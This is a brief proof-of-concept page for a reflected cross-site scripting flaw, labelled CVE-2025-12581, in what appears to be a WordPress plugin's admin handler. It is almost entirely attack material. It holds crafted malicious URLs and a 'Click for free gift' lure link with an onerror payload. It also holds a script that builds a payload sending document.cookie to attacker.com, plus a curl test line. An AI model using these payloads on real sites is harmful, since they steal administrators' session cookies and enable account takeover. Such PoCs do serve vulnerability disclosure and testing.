CVE-2025-12581

<!-- Reflected XSS PoC for CVE-2025-12581 --> <!-- Attack URL that injects JavaScript via URL parameter --> <!-- The attacker crafts a URL like: http://target-site.com/wp-admin/admin.php?page=attachments-handler&param=<script>alert(document.cookie)</script> --> <!-- Example malicious URL --> <a href="http://vulnerable-site.com/wp-admin/admin.php?page=attachments-handler&search=</script><img src=x onerror=alert('XSS')>">Click for free gift</a> <!-- Automated PoC using fetch API --> <script> const xss_payload = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"; const malicious_url = "http://target-wordpress.com/wp-admin/admin.php?page=attachments-handler&s=" + encodeURIComponent(xss_payload); console.log("Malicious URL:", malicious_url); </script> <!-- Curl-based PoC for verification --> <!-- curl 'http://target-site.com/wp-admin/admin.php?page=attachments-handler&param=<script>alert(1)</script>' -->

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